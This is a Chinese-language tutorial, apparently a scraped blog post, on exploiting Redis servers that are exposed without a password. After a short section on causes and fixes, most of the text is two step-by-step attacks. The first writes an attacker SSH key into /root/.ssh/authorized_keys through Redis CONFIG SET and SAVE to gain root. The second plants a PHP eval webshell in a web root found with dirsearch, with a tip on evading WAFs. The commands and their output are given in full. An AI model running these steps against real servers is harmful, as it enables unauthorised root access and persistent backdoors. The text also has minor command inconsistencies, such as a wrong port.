网站开发网页设计js,郑州注册公司网上核名网站,google play三件套,企业黄页哪个网站好说明#xff1a;
Redis是一个开源的#xff0c;由C语言编写的高性能NoSQL数据库#xff0c;因其高性能、可扩展、兼容性强#xff0c;被各大小互联网公司或个人作为内存型存储组件使用。 但是其中有小部分公司或个人开发者#xff0c;为了方便调试或忽略了安全风险#…说明
Redis是一个开源的由C语言编写的高性能NoSQL数据库因其高性能、可扩展、兼容性强被各大小互联网公司或个人作为内存型存储组件使用。 但是其中有小部分公司或个人开发者为了方便调试或忽略了安全风险没有设置密码并直接对外开放了6379端口那么这就是一个危险的行为。
漏洞成因
未对Redis进行充分的访问控制可利用Redis可写入文件的漏洞实现攻击。
漏洞影响范围
所有对公网开放的Redis端口未设置密码或设置弱密码的Redis服务的主机都存在这个漏洞。
危害
利用SSH可获取服务器root权限。可在项目中写入一句话木马。利用redis的任意文件写入造成其它危险操作。
解决方案
使用防火墙策略关闭Redis端口。找到redis配置文件的requirepass项并配置复杂的密码毕竟弱口令也是漏洞。
利用方式1获取root权限
0. 背景
CentOS7.6有一台IP为192.168.1.180且对外开放6379端口的服务器Redis Server可远程被连接。攻击者首次接触这台服务器。
1. nmap扫描
nmap 192.168.1.180 -p 6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:10 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0014s latency).PORT STATE SERVICE
6379/tcp open redisNmap done: 1 IP address (1 host up) scanned in 0.11 seconds
#发现开放了Redis服务2. 尝试远程连接
redis-cli -h 192.168.1.180 -p 3306
#远程连接成功尝试使用
192.168.1.180:6379 set abc 123
OK3. 本地生成SSH密钥对将公钥写入自定义文件发送给攻击目标。
ssh-keygen -t rsa
(echo -e \n\n; cat ~/.ssh/id_rsa.pub; echo -e \n\n) /test/ssh.txt
cat /test/ssh.txt | redis-cli -h 192.168.1.180 -p 6379 -x set ssh_key4. 利用Redis备份功能将数据写入到目标服务器的root目录下
#远程连接
redis-cli -h 192.168.1.180 -p 6379
#尝试清空redis
192.168.1.180:6379 flushall
#设置 Redis 数据库的持久化存储路径
192.168.1.180:6379 config set dir /root/.ssh
#设置 Redis 数据库的持久化存储文件名
192.168.1.180:6379 config set dbfilename authorized_keys
#保存
192.168.1.180:6379 save5. 远程连接目标服务器成功入侵并获取了root权限
ssh root192.168.1.180 -i /root/.ssh/id_rsa
The authenticity of host 192.168.1.180 (192.168.1.180) cant be established.
ED25519 key fingerprint is SHA256:v7jh2lXha1qeJTqZtHxfFcvdBXxtyMm0z10M3NuvMKM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 192.168.1.180 (ED25519) to the list of known hosts.
Last login: Fri Nov 24 11:12:42 2023 from 192.168.2.183
#验证用户
[rootlnmp ~]# whoami
root利用方式2web站点写入一句话木马
0. 背景
CentOS7.6有一台IP为192.168.1.180且对外开放6379端口的服务器Redis Server可远程被连接。攻击者首次接触这台服务器服务器有LNMP环境。
1. nmap扫描
└─# nmap 192.168.1.180 -p 80,443,6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:52 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0081s latency).PORT STATE SERVICE
80/tcp open http
443/tcp filtered https
6379/tcp open redis
MAC Address: 00:0C:29:01:E8:DC (VMware)Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
#发现开放了Redis和http服务2. 尝试远程连接Redis这一步走不通下面流程就不用走了
redis-cli -h 192.168.1.180 -p 3306
#远程连接成功尝试使用
192.168.1.180:6379 set abc 123
OK3. 尝试获取Web服务技术栈发现用的是PHP
curl -I 192.168.1.180
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 24 Nov 2023 08:53:22 GMT
Content-Type: text/html; charsetUTF-8
Connection: keep-alive
X-Powered-By: PHP/7.4.63. 在Kali上安装dirsearch找到带有phpinfo或者报错的页面从而获取web站点的路径dirsearch需要python3环境
#pip配置阿里云镜像
pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/
pip config set install.trusted-host mirrors.aliyun.com
#克隆dirsearch
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
#期间会提示安装一些包正常安装就行。执行dirsearch尝试路径爆破后进行手动过滤。
python3 dirsearch.py -u http://192.168.1.180 -e php
#例如在192.168.1.180/err.php下找到了一个携带php报错的地址手动访问
Warning: Undefined variable $res in /Host/err.php on line 2
#至此发现php的站点在/Host下。4. 将PHP一句话木马发送给目标的redis服务器
redis-cli -h 192.168.1.180 -p 6379
192.168.1.180:6379 config set dir /Host
OK
192.168.1.180:6379 config set dbfilename test.php
OK
192.168.1.180:6379 set test \n\n?php eval($_GET[a]);?\n\n
OK
192.168.1.180:6379 save
OK远程的文件是这样的既包含了其它key的备份也包含了一句话木马
REDIS0009 redis-ver5.0.8 redis-bitsctime™meused-memZ aof-preamblessh_keyB7 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCltv2wFaA4vixtU7N0Iz4K9J/wO62iWli2emLNHYR8Q32hIsHzGvChgF3dcb1lLqndfCKDOk16FwHfkiChZAtjcruK36xWxrTNP54q5ZXBpuT6Tb8zkAljRLN0KqDPxfuM9IuObgMqNSxRPmdlMqxXp6B5BaMY8iPJL175eM0Jes2U9yN/s5zEmjkYTXFHG96CMRlHXcN3StXZKs4hZGRsxt2KxQ5TPlsqVV7AIBAOO5milCOUOcOIZJbad5aMtESt4Sjnzy9Vln2i31UU2QqO4XiVLaLexm4JFqKpjLqis6C9YyTZYwFl/xam3FvroFrlFdsbaRP3W2c0aJLxtX2yHH/T0cFXQJbI5rA04ZTS4gJqGeofQ8dNHQc7lBLbcGuR5cN8g/0VKgh4b7bYsXRG9XFZXL7Kl6r2TBCg7FVIKkWoSALm5Qr0tEy1ytNSUMversoDq2q6/EPsfkUDfFJipoEpv4hCzJXy57dDQBOdGaIMvY6Zk88 rootZS abc{test5. 验证一句话木马文件成功写入一句话木马
#由于PHP只解析从?php到?结束的代码所以其余字符不受影响。
#为了防止被WAF拦截传参过程也可自定义编码
http://192.168.1.180/test.php?aphpinfo();